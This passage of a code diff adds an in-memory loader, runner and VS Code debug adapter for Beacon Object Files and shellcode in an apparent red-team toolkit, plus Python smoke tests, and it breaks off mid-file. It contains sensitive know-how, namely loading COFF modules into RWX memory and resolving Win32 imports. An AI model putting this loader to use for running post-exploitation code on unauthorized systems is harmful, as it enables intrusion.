`__imp_*` slot table. Indexed by symbol-table + /// index - `slot_addr(idx) = imp_slots + idx * 8`. Each slot + /// holds the resolved function pointer for that external symbol. + pub imp_slots: usize, +} + +pub fn load(bytes: &[u8]) -> Result { + let coff = ParsedCoff::parse(bytes)?; + + // ---- Map every section's raw bytes into RWX memory -------------------- + let mut section_bases: Vec = vec![0; coff.n_sections as usize + 1]; + let mut text_base: usize = 0; + let mut text_size: usize = 0; + + for i in 0..coff.n_sections { + let sec = coff.section(i); + let size = sec.raw_size as usize; + if size == 0 { continue; } + let p = unsafe { + VirtualAlloc(ptr::null(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) + } as usize; + if p == 0 { + return Err(format!("VirtualAlloc({size}) failed for section `{}`", sec.name)); + } + if !sec.raw.is_empty() { + unsafe { ptr::copy_nonoverlapping(sec.raw.as_ptr(), p as *mut u8, size); } + } else { + // .bss-style: zero-fill the region. + unsafe { ptr::write_bytes(p as *mut u8, 0, size); } + } + section_bases[i as usize + 1] = p; + if sec.name == ".text" { + text_base = p; + text_size = size; + } + } + + // ---- Build a unified symbol-address table ----------------------------- + let n_syms = coff.n_symbols as usize; + let imp_slots = unsafe { + VirtualAlloc(ptr::null(), n_syms.max(1) * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) + } as usize; + if imp_slots == 0 { + return Err("VirtualAlloc for imp_slots failed".into()); + } + + let mut sym_addr: Vec = vec![0; n_syms]; + let mut go_offset: Option = None; + + for idx in 0..coff.n_symbols { + let name = coff.symbol_name(idx); + let section = coff.symbol_section(idx); + let value = coff.symbol_value(idx); + + if name == "go" { + go_offset = Some(value); + } + + if section == 0 { + // Undefined external - resolve via Beacon API table or + // LoadLibrary/GetProcAddress. + let slot_addr = imp_slots + (idx as usize) * 8; + let Some(rest) = name.strip_prefix("__imp_") else { + return Err(format!( + "undefined symbol `{name}` is not in `__imp_<...>` form - \ + unresolvable by the loader" + )); + }; + let resolved: usize = if let Some(p) = beacon::resolve(rest) { + p as usize + } else if let Some((lib, fun)) = split_dollar(rest) { + resolve_win32(lib, fun)? + } else { + return Err(format!( + "unresolved external `{name}` - not a known Beacon API \ + and not a `LIBRARY$Function` form" + )); + }; + unsafe { *(slot_addr as *mut usize) = resolved; } + sym_addr[idx as usize] = slot_addr; + } else if (section as usize) <= coff.n_sections as usize { + // Defined in one of our mapped sections. + sym_addr[idx as usize] = section_bases[section as usize] + value as usize; + } + // Negative section numbers (absolute, debug) - leave 0; no + // relocation should reference these. + } + + let Some(go_offset) = go_offset else { + return Err("BOF has no `go` symbol".into()); + }; + + // ---- Apply each section's relocations -------------------------------- + for i in 0..coff.n_sections { + let sec = coff.section(i); + if sec.relocs.is_empty() { continue; } + let sec_base = section_bases[i as usize + 1]; + if sec_base == 0 { + return Err(format!( + "section `{}` has relocations but wasn't mapped - refusing to patch", + sec.name + )); + } + let mut off = 0; + while off + 10 <= sec.relocs.len() { + let at = u32::from_le_bytes(sec.relocs[off..off+4].try_into().unwrap()); + let sym = u32::from_le_bytes(sec.relocs[off+4..off+8].try_into().unwrap()); + let ty = u16::from_le_bytes(sec.relocs[off+8..off+10].try_into().unwrap()); + off += 10; + + let patch_site = sec_base + at as usize; + let sym_target = sym_addr[sym as usize]; + + match ty { + IMAGE_REL_AMD64_REL32 => { + // The patch site already carries any compiler-side + // addend (in particular, the in-section offset for + // cross-section data references). Final disp32 is: + // sym_target + existing_addend - (patch_site + 4) + let existing_addend = unsafe { + let mut buf = [0u8; 4]; + ptr::copy_nonoverlapping(patch_site as *const u8, buf.as_mut_ptr(), 4); + i32::from_le_bytes(buf) as i64 + }; + let next_ip = (patch_site + 4) as i64; + let rel = sym_target as i64 + existing_addend - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err(format!( + "REL32 to symbol #{sym} (`{}`) is out of range \ + (target=0x{sym_target:x}, addend=0x{existing_addend:x}, \ + site=0x{patch_site:x})", + coff.symbol_name(sym) + )); + } + let bytes = (rel as i32).to_le_bytes(); + unsafe { + ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 4); + } + } + IMAGE_REL_AMD64_ADDR64 => { + let bytes = (sym_target as u64).to_le_bytes(); + unsafe { + ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 8); + } + } + other => { + return Err(format!( + "unsupported relocation type 0x{other:04x} at \ + section #{i} offset 0x{at:x} (loader handles \ + REL32 + ADDR64 only)" + )); + } + } + } + } + + Ok(LoadedBof { + text_base, + text_size, + go_offset, + section_bases, + imp_slots, + }) +} + +/// `__imp_USER32$MessageBoxA` to `("USER32", "MessageBoxA")`. +fn split_dollar(rest: &str) -> Option<(&str, &str)> { + let dollar = rest.find('$')?; + Some((&rest[..dollar], &rest[dollar+1..])) +} + +fn resolve_win32(lib: &str, fun: &str) -> Result { + // GetModuleHandle first (already-loaded libraries); fall back to + // LoadLibrary so calling into a DLL not currently in the process + // maps it on demand. Matches what Beacon's loader does and what + // the Tradecraft Garden literature recommends for the missing- + // User32 case (`PIC Parterre`). + let lib_z = format!("{lib}\0"); + let lib_z_bytes = lib_z.as_bytes(); + let mut h: HMODULE = unsafe { GetModuleHandleA(lib_z_bytes.as_ptr()) }; + if h.is_null() { + h = unsafe { LoadLibraryA(lib_z_bytes.as_ptr()) }; + } + if h.is_null() { + return Err(format!("LoadLibraryA({lib}) failed")); + } + let fun_z = format!("{fun}\0"); + let p = unsafe { GetProcAddress(h, fun_z.as_bytes().as_ptr()) }; + match p { + Some(f) => Ok(f as usize), + None => Err(format!("GetProcAddress({lib}!{fun}) failed")), + } +} diff --git a/tools/bof-runner/Cargo.toml b/tools/bof-runner/Cargo.toml new file mode 100644 index 0000000..3083a1a --- /dev/null +++ b/tools/bof-runner/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "bof-runner" +version = "0.1.0" +edition = "2021" +description = "In-process loader / test harness for EntropyKit BOFs. Mmaps a .obj, resolves __imp_* slots, applies REL32 relocations, calls go()." + +[[bin]] +name = "bof-runner" +path = "src/main.rs" + +[dependencies] +bof-loader = { path = "../bof-loader" } diff --git a/tools/bof-runner/src/main.rs b/tools/bof-runner/src/main.rs new file mode 100644 index 0000000..39ebdca --- /dev/null +++ b/tools/bof-runner/src/main.rs @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: Apache-2.0 +//! bof-runner - CLI shell over the [`bof_loader`] library. +//! +//! Parses argv, packs typed `bof_pack` args, loads the `.obj` into +//! memory, and calls `go(args, len)`. The heavy lifting (COFF +//! parsing, section mapping, symbol resolution, REL32 / ADDR64 +//! relocations, Beacon API stubs) is placed in `tools/bof-loader/` so +//! the VS Code debugger (`entc-debug`) reuses every line of it. +//! +//! Usage: +//! bof-runner [args...] +//! +//! Argument forms (may repeat; order matters): +//! +//! --args "raw bytes" raw UTF-8 buffer + trailing NUL. +//! --zarg "string" `bof_pack "z"` - length-prefixed zstring. +//! --iarg N `bof_pack "i"` - big-endian 4-byte int. +//! --sarg N `bof_pack "s"` - big-endian 2-byte short. +//! --barg @path `bof_pack "b"` - length-prefixed binary blob. + +use std::env; +use std::fs; +use std::process::ExitCode; + +fn main() -> ExitCode { + let argv: Vec = env::args().collect(); + if argv.len() < 2 || argv[1].starts_with('-') { + eprintln!( + "usage: bof-runner [--args RAW] [--zarg STR] \ + [--iarg N] [--sarg N] [--barg @FILE]" + ); + return ExitCode::from(2); + } + let path = &argv[1]; + + let packed = match bof_loader::args::parse_packed_args(&argv[2..]) { + Ok(b) => b, + Err(e) => { eprintln!("bof-runner: {e}"); return ExitCode::from(2); } + }; + + let bytes = match fs::read(path) { + Ok(b) => b, + Err(e) => { eprintln!("read {path}: {e}"); return ExitCode::from(1); } + }; + + match run(&bytes, &packed) { + Ok(()) => ExitCode::from(0), + Err(e) => { eprintln!("bof-runner: {e}"); ExitCode::from(1) } + } +} + +#[cfg(not(windows))] +fn run(_bytes: &[u8], _args: &[u8]) -> Result<(), String> { + Err("bof-runner is Windows-only - it calls Win32 APIs to map RWX pages \ + and resolve LIBRARY$Function imports. Build + run on Windows.".into()) +} + +#[cfg(windows)] +fn run(bytes: &[u8], args_buf: &[u8]) -> Result<(), String> { + let loaded = bof_loader::load::load(bytes)?; + + // Append a trailing NUL so a BOF that treats `args` as a C string + // (the simple `MessageBoxA(0, args, ...)` pattern) doesn't read + // past the end. The reported `len` excludes the NUL - matches + // Beacon's convention where `len` is the data length only. + let mut args_buf_z: Vec = args_buf.to_vec(); + args_buf_z.push(0); + let payload_len = (args_buf_z.len() - 1) as i32; + + let go_addr = loaded.text_base + loaded.go_offset as usize; + let go_fn: unsafe extern "system" fn(*const u8, i32) = + unsafe { std::mem::transmute(go_addr) }; + unsafe { go_fn(args_buf_z.as_ptr(), payload_len); } + Ok(()) +} diff --git a/tools/entc-debug/Cargo.toml b/tools/entc-debug/Cargo.toml new file mode 100644 index 0000000..d1048a0 --- /dev/null +++ b/tools/entc-debug/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "entc-debug" +version = "0.1.0" +edition = "2021" +description = "DAP server + in-process tracer for EntropyKit shellcode - drives VS Code's Run > Start Debugging." + +[[bin]] +name = "entc-debug" +path = "src/main.rs" + +[dependencies] +# Pure-Rust x86-64 disassembler for the DAP `disassemble` request and +# VS Code's Disassembly View. We only enable the decoder + intel-syntax +# formatter - the gas/masm/nasm formatters add ~MB to the binary for +# no UX gain. +iced-x86 = { version = "1.21.0", default-features = false, features = ["decoder", "intel", "std"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +# Shared COFF loader - used when launch.json's `program` is a `.obj`, +# so F5 on a BOF source file walks the same parse/map/relocate path +# the standalone `bof-runner` uses. +bof-loader = { path = "../bof-loader" } + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.59", features = [ + "Win32_Foundation", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + # AddVectoredExceptionHandler / EXCEPTION_POINTERS are placed here, despite + # the misleading name (windows-sys 0.59 changed the feature grouping). + "Win32_System_Kernel", + "Win32_System_Threading", +] } diff --git a/tools/entc-debug/scripts/dap_asm_bp_smoke.py b/tools/entc-debug/scripts/dap_asm_bp_smoke.py new file mode 100644 index 0000000..e4aa9e2 --- /dev/null +++ b/tools/entc-debug/scripts/dap_asm_bp_smoke.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_asm_bp_smoke.py - verify F9 inside `asm { ... }` plants and +fires a breakpoint at the right .bin offset. + +Drives entc-debug.exe over DAP-on-stdio with the exact sequence VS +Code's "set breakpoint, then F5" flow uses: + + initialize -> launch (stopOnEntry: false, no inherent break) + -> setBreakpoints(asm_test.etpy, []) + -> configurationDone + -> wait for `stopped` with reason=breakpoint + -> assert the stop's `line` == the line we set + +Usage: + python dap_asm_bp_smoke.py +""" + +import json +import subprocess +import sys +import time +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" +SOURCE = REPO / "example" / "asm_test.etpy" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: return None + headers += b + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + proc.stdin.write(encode_msg({ + "seq": seq, "type": "request", "command": command, "arguments": kwargs, + })) + proc.stdin.flush() + + +def main(): + # Allow overriding target line via CLI for testing several + # asm-body lines (instruction, label, post-loop body). + target_line = int(sys.argv[1]) if len(sys.argv) > 1 else 24 + + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + + seq = 1 + send(proc, seq, "initialize", adapterID="entropykit"); seq += 1 + send(proc, seq, "launch", + program=str(SOURCE), + stopOnEntry=False); seq += 1 + + breakpoints_set = False + verified_line = None # what setBreakpoints reported + stop_line = None # what stackTrace reported when bp fired + deadline = time.time() + 30 + while time.time() < deadline: + msg = read_frame(proc) + if msg is None: break + if msg.get("type") == "response": + cmd = msg["command"] + if cmd == "launch" and msg.get("success"): + send(proc, seq, "setBreakpoints", + source={"path": str(SOURCE)}, + breakpoints=[{"line": target_line}]); seq += 1 + elif cmd == "launch": + print(f"[asm-bp-smoke] launch failed: {msg.get('message')}") + break + elif cmd == "setBreakpoints": + rows = msg.get("body", {}).get("breakpoints", []) + verified = [r for r in rows if r.get("verified")] + if not verified: + print(f"[asm-bp-smoke] FAIL: bp at line {target_line} not verified: {rows}") + break + verified_line = verified[0].get("line") + print(f"[asm-bp-smoke] bp at requested line {target_line} verified, mapped to {verified_line}") + breakpoints_set = True + send(proc, seq, "configurationDone"); seq += 1 + elif cmd == "configurationDone": + pass + elif msg.get("type") == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "stopped" and body.get("reason") == "breakpoint": + send(proc, seq, "stackTrace", threadId=1); seq += 1 + elif ev == "terminated": + print("[asm-bp-smoke] terminated before bp hit") + break + if msg.get("command") == "stackTrace" and msg.get("type") == "response": + frames = msg.get("body", {}).get("stackFrames", []) + if frames: + stop_line = frames[0].get("line") + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + break + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate(); proc.wait() + + # Pass criteria: + # - setBreakpoints verified the bp (either the requested line + # or a forward-snapped one - both are valid). + # - The stop fired and reported a source line consistent with + # the verified one. + if breakpoints_set and stop_line == verified_line and verified_line is not None: + print(f"[asm-bp-smoke] PASS - bp at requested={target_line} verified={verified_line} stop={stop_line}") + return 0 + print(f"[asm-bp-smoke] FAIL - requested={target_line} verified={verified_line} stop={stop_line}") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/scripts/dap_bof_output_smoke.py b/tools/entc-debug/scripts/dap_bof_output_smoke.py new file mode 100644 index 0000000..93a6b9a --- /dev/null +++ b/tools/entc-debug/scripts/dap_bof_output_smoke.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_bof_output_smoke.py - confirm BeaconPrintf output reaches DAP. + +Launches a BOF through entc-debug.exe in DAP mode WITHOUT stopOnEntry, +runs it to completion, and prints every `output` event the adapter +emits. Without the output-hook wiring, the BOF's BeaconPrintf writes +land on entc-debug's own stdout (which is the DAP wire channel) and +get either dropped by VS Code or corrupt the next DAP frame - either +way the user sees nothing in the Debug Console. + +With the hook installed, every BeaconPrintf turns into one DAP +`output` event with category "console", which is exactly what shows +up in VS Code's Debug Console panel. + +Usage: + python dap_bof_output_smoke.py [bof_args...] +""" + +import json +import subprocess +import sys +import time +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: return None + headers += b + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + proc.stdin.write(encode_msg({ + "seq": seq, "type": "request", "command": command, "arguments": kwargs, + })) + proc.stdin.flush() + + +def main(): + if len(sys.argv) < 2: + print("usage: dap_bof_output_smoke.py [args...]") + return 2 + source = Path(sys.argv[1]).resolve() + bof_args = sys.argv[2:] + if not ENTC_DEBUG.exists(): + print(f"missing: {ENTC_DEBUG}") + return 1 + + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + seq = 1 + send(proc, seq, "initialize", adapterID="entropykit"); seq += 1 + send(proc, seq, "launch", + program=str(source), + stopOnEntry=False, + args=bof_args); seq += 1 + + output_events = [] + deadline = time.time() + 60 + done = False + while not done and time.time() < deadline: + msg = read_frame(proc) + if msg is None: break + if msg.get("type") == "response": + cmd = msg["command"] + if cmd == "launch": + if not msg.get("success"): + print(f"FAIL: launch failed: {msg.get('message')}") + return 1 + send(proc, seq, "configurationDone"); seq += 1 + elif msg.get("type") == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "output": + output_events.append(body.get("output", "")) + elif ev in ("exited", "terminated"): + done = True + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate(); proc.wait() + + # Reconfigure stdout for UTF-8 so non-ASCII bytes (em-dashes, + # smart quotes, etc.) in BOF output don't trip CP1252 encoding + # on Windows. The DAP channel itself is UTF-8 end-to-end. + try: + sys.stdout.reconfigure(encoding="utf-8", errors="replace") + except Exception: + pass + print(f"[smoke] received {len(output_events)} `output` event(s):") + for ev in output_events: + sys.stdout.write(f" {ev.rstrip()}\n") + # Pass criterion: AT LEAST ONE output event whose text contains + # the BOF marker `[BOF]`. Without the hook, the BOF's print + # writes never reach DAP to zero `[BOF]` lines. + bof_lines = [e for e in output_events if "[BOF]" in e] + if bof_lines: + print(f"[smoke] PASS - saw {len(bof_lines)} [BOF] line(s) routed through DAP") + return 0 + print("[smoke] FAIL - no [BOF] output events flowed through DAP") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/scripts/dap_launch_smoke.py b/tools/entc-debug/scripts/dap_launch_smoke.py new file mode 100644 index 0000000..194a33d --- /dev/null +++ b/tools/entc-debug/scripts/dap_launch_smoke.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""dap_launch_smoke.py - simulate a VS Code F5 against entc-debug. + +Drives entc-debug.exe's DAP-on-stdio protocol with the exact sequence +VS Code sends: + + initialize -> launch (program=.etpy) -> configurationDone + -> wait for `stopped` event (stopOnEntry confirms the right + artifact loaded) -> disconnect + +Exit code 0 means F5 against the given .etpy successfully: + - auto-detected build mode + - rebuilt the artifact + - loaded the .dbg sidecar + - planted the entry stopOnEntry breakpoint + - hit it (proves the right .obj/.bin actually ran) + +Usage: + python dap_launch_smoke.py [bof_arg ...] +""" + +import json +import struct +import subprocess +import sys +import time +from pathlib import Path + + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent.parent +ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe" + + +def encode_msg(obj): + body = json.dumps(obj).encode("utf-8") + return f"Content-Length: {len(body)}\r\n\r\n".encode() + body + + +def read_frame(proc): + """Read one DAP frame from stdout. Returns the parsed dict or None + on EOF / timeout.""" + headers = b"" + while not headers.endswith(b"\r\n\r\n"): + b = proc.stdout.read(1) + if not b: + return None + headers += b + # Parse Content-Length. + length = 0 + for line in headers.decode().split("\r\n"): + if line.lower().startswith("content-length:"): + length = int(line.split(":", 1)[1].strip()) + body = b"" + while len(body) < length: + chunk = proc.stdout.read(length - len(body)) + if not chunk: + return None + body += chunk + return json.loads(body) + + +def send(proc, seq, command, **kwargs): + msg = {"seq": seq, "type": "request", "command": command, "arguments": kwargs} + proc.stdin.write(encode_msg(msg)) + proc.stdin.flush() + + +def main(): + if len(sys.argv) < 2: + print("usage: dap_launch_smoke.py [bof_args...]") + return 2 + source = Path(sys.argv[1]).resolve() + bof_args = sys.argv[2:] + + # Note: we deliberately don't pre-check source.exists() - the + # whole point of the adapter's auto-upgrade-to-source-mode path + # is to handle a missing artifact with a sibling .etpy by + # rebuilding from source. We want to exercise that. + if not ENTC_DEBUG.exists(): + print(f"entc-debug not found: {ENTC_DEBUG}") + print("Run: cargo build --release -p entc-debug") + return 1 + + print(f"[smoke] launching {ENTC_DEBUG.name} against {source.name}") + proc = subprocess.Popen( + [str(ENTC_DEBUG), "dap"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + bufsize=0, + ) + + seq = 1 + send(proc, seq, "initialize", clientID="smoke", adapterID="entropykit"); seq += 1 + launch_args = { + "program": str(source), + "stopOnEntry": True, + "args": bof_args, + } + send(proc, seq, "launch", **launch_args); seq += 1 + + stopped_received = False + launch_ok = None + deadline = time.time() + 30 + sent_config_done = False + while time.time() < deadline: + proc.stdout_ready = True + # NOTE: read_frame blocks; that's fine for this smoke test + # because entc-debug emits frames promptly during launch. + msg = read_frame(proc) + if msg is None: + print("[smoke] EOF before stop") + break + kind = msg.get("type") + if kind == "response": + cmd = msg.get("command") + ok = msg.get("success", False) + if cmd == "launch": + launch_ok = ok + if not ok: + print(f"[smoke] launch failed: {msg.get('message')}") + break + send(proc, seq, "configurationDone"); seq += 1 + sent_config_done = True + elif cmd == "configurationDone": + pass + elif kind == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "output": + text = body.get("output", "").rstrip() + if text: + print(f" [stdout] {text}") + elif ev == "stopped": + reason = body.get("reason", "?") + print(f"[smoke] stopped (reason={reason})") + if reason in ("entry", "breakpoint"): + stopped_received = True + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + break + elif ev == "terminated": + print("[smoke] terminated event") + break + elif ev == "exited": + code = body.get("exitCode", 0) + print(f"[smoke] exited code={code}") + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate() + proc.wait() + + stderr = proc.stderr.read().decode("utf-8", errors="replace") + if stderr.strip(): + print(f"[smoke] adapter stderr: {stderr}") + + if launch_ok and stopped_received: + print("[smoke] PASS") + return 0 + print(f"[smoke] FAIL (launch_ok={launch_ok}, stopped={stopped_received})") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/src/dap.rs b/tools/entc-debug/src/dap.rs new file mode 100644 index 0000000..70c801e --- /dev/null +++ b/tools/entc-debug/src/dap.rs @@ -0,0 +1,1985 @@ +// SPDX-License-Identifier: Apache-2.0 +//! dap.rs - Debug Adapter Protocol server speaking on stdio. +//! +//! Implements the F5 flow: +//! +//! initialize to launch to setBreakpoints* to configurationDone +//! ↓ +//! tracer thread starts, runs until first int 3 +//! ↓ +//! stopped event + register snapshot + (line, col) +//! ↓ +//! continue / next / stepInstruction / setBreakpoints to resume to ... +//! ↓ +//! exited / terminated to disconnect +//! +//! Beyond the basic stepping loop, this adapter also exposes: +//! +//! - the "Registers" + "Stack" variables scopes (RAX..R15, RIP, +//! RFLAGS; sixteen qwords above RSP) - answers `scopes` and +//! `variables`. +//! - `disassemble`: feeds VS Code's Disassembly View. Reads bytes +//! out of the live shellcode region and decodes them with +//! iced-x86. Instruction stepping pairs naturally with this view. +//! - `readMemory`: lets users punch any address into the Hex Editor +//! /Memory view. Validated through VirtualQuery so a typo doesn't +//! crash the adapter. +//! +//! Out of scope (returns empty / stub): writeMemory, evaluate, +//! conditional breakpoints, multiple threads. +//! +//! Protocol shape (per DAP spec): +//! +//! Content-Length: \r\n +//! \r\n +//! + +use std::collections::HashMap; +use std::fs; +use std::io::{self, Read, Write}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicI64, Ordering}; +use std::sync::mpsc; +use std::sync::{Arc, Mutex}; +use std::thread; + +use serde_json::{json, Value}; + +use crate::sourcemap::SourceMap; +use crate::tracer::{self, Cmd, Event, StopReason, TracerSession}; + +// ============================================================================ +// Wire framing. +// ============================================================================ + +fn read_message(rdr: &mut R) -> io::Result> { + let mut content_length: Option = None; + let mut buf = Vec::::new(); + loop { + let mut b = [0u8; 1]; + match rdr.read_exact(&mut b) { + Ok(()) => {} + Err(e) if e.kind() == io::ErrorKind::UnexpectedEof => return Ok(None), + Err(e) => return Err(e), + } + buf.push(b[0]); + if buf.ends_with(b"\r\n") { + let line = &buf[..buf.len() - 2]; + if line.is_empty() { break; } + if let Some(rest) = strip_header_prefix(line, b"Content-Length:") { + if let Ok(s) = std::str::from_utf8(rest) { + content_length = s.trim().parse().ok(); + } + } + buf.clear(); + } + } + let len = content_length.unwrap_or(0); + let mut body = vec![0u8; len]; + rdr.read_exact(&mut body)?; + let v: Value = serde_json::from_slice(&body) + .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?; + Ok(Some(v)) +} + +fn strip_header_prefix<'a>(line: &'a [u8], prefix: &[u8]) -> Option<&'a [u8]> { + if line.len() < prefix.len() { return None; } + if line[..prefix.len()].eq_ignore_ascii_case(prefix) { + Some(&line[prefix.len()..]) + } else { + None + } +} + +// ============================================================================ +// Shared writer. +// ============================================================================ + +struct DapWriter { + out: Mutex, + seq: AtomicI64, +} + +impl DapWriter { + fn new() -> Self { + Self { out: Mutex::new(io::stdout()), seq: AtomicI64::new(1) } + } + fn next_seq(&self) -> i64 { self.seq.fetch_add(1, Ordering::Relaxed) } + + fn write_frame(&self, body: &[u8]) { + if let Ok(mut out) = self.out.lock() { + let _ = write!(out, "Content-Length: {}\r\n\r\n", body.len()); + let _ = out.write_all(body); + let _ = out.flush(); + } + } + fn reply_ok(&self, req: &Value, body: Value) { + let msg = json!({ + "type": "response", + "seq": self.next_seq(), + "request_seq": req["seq"], + "success": true, + "command": req["command"], + "body": body, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } + fn reply_err(&self, req: &Value, message: &str) { + let msg = json!({ + "type": "response", + "seq": self.next_seq(), + "request_seq": req["seq"], + "success": false, + "command": req["command"], + "message": message, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } + fn event(&self, name: &str, body: Value) { + let msg = json!({ + "type": "event", + "seq": self.next_seq(), + "event": name, + "body": body, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } +} + +// ============================================================================ +// Variable reference IDs. +// +// VS Code identifies expandable variable lists by integer reference. +// We reserve a small static set; nothing here is dynamic enough to +// need a registry. +// ============================================================================ + +const VARREF_REGISTERS: i64 = 1; +const VARREF_STACK: i64 = 2; +const VARREF_LOCALS: i64 = 3; + +// ============================================================================ +// Server state. +// ============================================================================ + +struct PendingLaunch { + bin_path: String, + stop_on_entry: bool, + /// What kind of artifact `bin_path` points at: + /// - `Shellcode` - flat `.bin` produced by `--type=standard`. + /// Tracer VirtualAllocs RWX + copies + calls offset 0 as + /// `extern "C" fn() -> i64`. + /// - `Bof { args }` - `.obj` produced by `--type=bof|coff`. + /// Loaded via [`bof_loader::load`] (parses COFF, maps + /// sections, resolves `__imp_*`, applies relocations). + /// Tracer plants int 3 at debug offsets in `.text` and + /// calls `go(args, len)` as `extern "system"`. + artifact: ArtifactKind, +} + +enum ArtifactKind { + Shellcode, + Bof { args: Vec }, +} + +/// Per-breakpoint metadata that affects how a stop is handled: +/// +/// - `condition` - DAP "expression that must be true for the bp to +/// fire". We evaluate it on each hit; false to auto-resume. +/// - `log_message` - DAP "logpoint". On hit, format the template and +/// emit an Output event, then auto-resume; never +/// stops. Template `{expr}` placeholders are +/// evaluated against the registers + locals. +#[derive(Debug, Clone, Default)] +struct BpMeta { + condition: Option, + log_message: Option, +} + +/// State shared between the request-handling loop and the tracer-event +/// forwarder thread. The forwarder needs to: +/// (a) read the source map to resolve `line` to variable scope, +/// (b) read the tracer session to evaluate expressions against live +/// register state, +/// (c) look up per-breakpoint metadata to decide whether the hit +/// should fire / be skipped / be turned into a log, +/// (d) send `Cmd::Continue` back to the tracer when skipping. +/// All four arrive at different times relative to when the forwarder +/// is spawned, so we route them through Mutex> rather +/// than capturing at spawn time. +struct SharedDap { + map: Mutex>, + session: Mutex>>, + cmd_tx: Mutex>>, + bp_meta: Mutex>, + last_stop: Mutex>, +} + +impl SharedDap { + fn new() -> Arc { + Arc::new(Self { + map: Mutex::new(None), + session: Mutex::new(None), + cmd_tx: Mutex::new(None), + bp_meta: Mutex::new(HashMap::new()), + last_stop: Mutex::new(None), + }) + } + fn map_clone(&self) -> Option { self.map.lock().unwrap().clone() } + fn session_clone(&self) -> Option> { self.session.lock().unwrap().clone() } + fn current_line(&self) -> u32 { self.last_stop.lock().unwrap().map(|(l,_)| l).unwrap_or(0) } +} + +struct Server { + pending_launch: Option, + user_bps: Vec, + tracer_join: Option>, + shared: Arc, +} + +impl Server { + fn new(shared: Arc) -> Self { + Self { + pending_launch: None, + user_bps: Vec::new(), + tracer_join: None, + shared, + } + } +} + +// ============================================================================ +// Main loop. +// ============================================================================ + +pub fn serve() { + let stdin = io::stdin(); + let mut rdr = stdin.lock(); + let writer = Arc::new(DapWriter::new()); + let shared = SharedDap::new(); + let mut srv = Server::new(shared.clone()); + + let (ev_tx_main, ev_rx_main) = mpsc::channel::(); + let writer_clone = writer.clone(); + let shared_clone = shared.clone(); + let _ = thread::spawn(move || { + for ev in ev_rx_main.iter() { + match ev { + Event::Stopped { line, col, reason, description, offset, .. } => { + *shared_clone.last_stop.lock().unwrap() = Some((line, col)); + + // Per-breakpoint metadata: a logpoint hit emits an + // Output event and auto-resumes (never shows the + // stop in the UI). A false condition auto-resumes + // silently. Both paths bypass the stopped event. + if matches!(reason, StopReason::Breakpoint) { + let meta = shared_clone.bp_meta.lock().unwrap() + .get(&offset).cloned().unwrap_or_default(); + if let Some(template) = meta.log_message.as_deref() { + let rendered = render_log_message(template, &shared_clone, line); + writer_clone.event("output", json!({ + "category": 